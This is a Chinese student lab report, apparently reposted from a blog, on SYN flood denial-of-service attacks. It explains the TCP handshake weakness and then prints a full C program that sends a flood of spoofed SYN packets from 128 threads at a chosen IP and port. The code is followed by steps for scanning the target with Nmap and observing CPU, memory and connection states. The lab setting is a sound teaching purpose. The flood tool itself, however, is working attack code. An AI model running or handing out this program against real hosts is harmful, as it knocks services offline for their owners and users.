实践:网络攻击技术

一、实验目的

  • 理解带宽攻击原理
  • 理解资源消耗攻击原理
  • 掌握洪泛攻击网络行为特征

二、实验原理

SYN Flood攻击

Dos(Denial of Service)拒绝服务攻击是指在特定攻击发生后,被攻击的对象不能及时提供应有的服务。从广义上说,任何导致服务器不能正常提供服务的攻击都是拒绝服务攻击。

SYN Flood是当前最流行的拒绝服务攻击之一,这是一种利用TCP协议缺陷,发送大量的伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。
TCP协议是基于连接的,也就是说,为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接。
建立TCP连接的标准过程是这样的:

  • 第一步,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;
  • 第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加1,ACK即确认(Acknowledgement);
  • 第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加1,到此一个TCP连接完成。

以上的连接过程在TCP协议中被称为三次握手。

问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN超时,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃——即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。

二、实验步骤

以自己的主机为靶机,IP地址为192.168.43.206,以虚拟机Linux操作系统为攻击源,伪装的IP地址为192.168.0.222进行试验。

1.前期准备

在虚拟机上安装wireshark和ZENMAP。

2.攻击代码的实现

用C代码实现的一个SYN Flood攻击编程。

代码如下:

//DOS_flood.c 
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
 
#define MAXCHILD			128
#define PROTO_NAME 			"tcp"
#define FAKE_IP 			"192.168.0.222"
 
static unsigned long dest = 0;
static unsigned short dest_port = 0;
static int PROTO_TCP = -1;
static int alive = -1;
int rawsock = 0;
 
typedef struct dosseg_t{
	struct ip iph;
	struct tcphdr tcph;
	unsigned char data[8192];
}DOSSEG_T;
 
//数据包校验
static unsigned short Dos_cksum(unsigned short *data, int length)
{
	register int left = length;
	register unsigned short *word = data;
	register int sum = 0;
	unsigned short ret = 0;
	
	while(left > 1)
	{
		sum += *word++;
		left -= 2;
	}
	
	if(left == 1)
	{
		*(unsigned char *)(&ret) = *(unsigned char *)word;
		sum += ret;
	}
	
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	
	ret = ~sum;
	return (ret);
}
 
/* 随机生成攻击请求源端口 */
static inline long myrandom(int begin, int end)
{
	int gap = end - begin + 1;
	int ret = 0;
	
	srand((unsigned)time(0));
	
	ret = random()%gap + begin;
	return ret;
}
 
static void Dos_sig()
{
	alive = 0;
	printf("stop DoS Attack!
");
}
 
/* 构造tcp的请求syn包 */
void DoS_tcp_pack(char* packet)
{
	char *buffer;
	
        struct ip* ip_hdr = (struct ip*)packet;
        struct tcphdr* tcp_hdr = (struct tcphdr*)(packet + sizeof(struct ip));
 
	//ip头赋值
        ip_hdr->ip_v = 4;
        ip_hdr->ip_hl = 5;
        ip_hdr->ip_tos = 0;
        ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
        ip_hdr->ip_id = htons(getpid());
        ip_hdr->ip_off = 0;
        ip_hdr->ip_ttl = 64;
        ip_hdr->ip_p = PROTO_TCP;
        ip_hdr->ip_sum = 0;
        ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);		//伪装源地址
        ip_hdr->ip_dst.s_addr = dest; 					//攻击的目的主机地址
	ip_hdr->ip_sum = Dos_cksum((unsigned short *)ip_hdr, (4*ip_hdr->ip_hl + sizeof(struct tcphdr) + 1) & ~1);
 
	//tcp赋值
        tcp_hdr->seq = htonl((unsigned long)myrandom(0, 65535));
	tcp_hdr->ack_seq = htons(myrandom(0, 65535));
	tcp_hdr->syn = 1;
	tcp_hdr->urg = 1;
	tcp_hdr->window = htons(myrandom(0, 65535));
	tcp_hdr->check = 0;
	tcp_hdr->urg_ptr = htons(myrandom(0, 65535));
	tcp_hdr->check = Dos_cksum((unsigned short *)tcp_hdr, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1);
}
 
void Dos_Attack()
{
	DOSSEG_T packet;
        struct sockaddr_in to;
        DoS_tcp_pack((char *)&packet);
 
        to.sin_family = AF_INET;
        to.sin_addr.s_addr = dest;
        to.sin_port = htons(0);
 
        while(alive)  //控制发包的全局变量
        {
             sendto(rawsock, &packet, 4*packet.iph.ip_hl + sizeof(struct tcphdr), 0, (struct sockaddr*)&to, sizeof(struct sockaddr));
        }
}
 
int main(int argc, char* argv[]) 
{ 
	struct hostent* host = NULL; 
	struct protoent* protocol = NULL; 
	int i = 0, err = -1; 
	pthread_t attack_thread[MAXCHILD];
 
	/* 创建停止信号接收函数 */
	alive = 1; 
	signal(SIGINT, Dos_sig);
	
	if(argc < 3) 
	{ 
		printf("-------------Invalid input---------------!
");
		return -1;
	}
	
	protocol = getprotobyname(PROTO_NAME);
	if(protocol == NULL) 
	{ 
		printf("Fail to getprotobyname!
");
		return -1;
	} 
	
	PROTO_TCP = protocol->p_proto;
	
	//参数1:攻击目的IP   参数2:攻击的目的Port
	dest = inet_addr(argv[1]);
	dest_port = atoi(argv[2]);
	
	if(dest == INADDR_NONE) 
	{ 
		host = gethostbyname(argv[1]);
		if(host == NULL) 
		{ 
			printf("Invalid IP or Domain name!
");
			return -1;
		} 
		
		memcpy((char *)&dest, host->h_addr, host->h_length);	
	}
	
	//创建原始套接字
	rawsock = socket(AF_INET, SOCK_RAW, PROTO_TCP);
	
	if(rawsock < 0) 
	{ 
		printf("Fait to create socket!
");
		return -1;
	} 
	
	//设置IP选项
	setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof("1"));
	
	printf("SYN FLOOD ATTACK START
");
 
	for(i = 0; i < MAXCHILD; i++) 
	{ 
		err = pthread_create(&(attack_thread[i]), NULL,(void*)Dos_Attack, NULL);
		if(err) 
		{ 
			printf("Fail to create thread, err %d, thread id : %d
",err, attack_thread[i]);
		} 
	} 
	
	for(i = 0; i < MAXCHILD; i++) 
	{ 
		pthread_join(attack_thread[i], NULL);
		//等待线程结束 
	} 
	
	printf("SYN-DOS ATTACK FINISHI!
");
	close(rawsock);
	
	return 0;
}

使用如下命令来进行编译:

3.性能分析

(1)攻击者在Linux下利用NMAP对靶机进行端口扫描,根据NMAP对靶机的扫描结果选择一个开放的TCP端口作为DoS攻击的端口。

使用如下命令启动ZENMAP:

(2)选择的443这个开放端口,启动DoS工具,对靶机上的该端口进行SYN洪水攻击。

(3)靶机启动系统“性能监视器”,监视在遭受到洪水攻击时本机CPU、内存消耗情况。

攻击前靶机的性能监视器:

攻击后靶机的性能监视器图形变化:

(4)靶机打开“任务管理器”,单击“性能”选项卡,记录CUP、内存、网络的使用状况。

攻击前“任务管理器”性能页:

攻击后“任务管理器”性能页:

(5)靶机在CMD中执行netstat –na命令,观察TCP连接状态。

4.捕包分析攻击包特征

(1)攻击者停止洪水发送,并停止协议分析器捕获,分析攻击者与靶机间的TCP会话数据。

(2)通过对协议分析器所捕获到的数据包进行分析,说明在攻击者对靶机开放的TCP端口进行洪泛攻击时,靶机为什么会消耗大量的系统资源。

SYN Flood 攻击利用的是tcp协议的设计漏洞,正常的tcp连接要三次握手连接。当第一次请求syn报文发送之后,服务器发送应答syn+ack报文,客户端此时出现状况或者故意不进行第三次握手,服务器会重新发送一次syn+ack报文,并且等待一段时间,成为syn终止时间,如果没有响应,则判断为无法连接,丢弃这个连接。当攻击者以数以万计的半连接出现的时候,服务器要不断的对所有半连接发送syn+ack报文重试,服务器的内存和cpu不停的做这些没有用的工作,从而消耗大量的系统资源。

参考资料:https://wenku.baidu.com/view/7561dd9184868762caaed537.html
注:感谢程铮华同学提供了很大的帮助。

原文地址:https://www.cnblogs.com/yangdd/p/11892582.html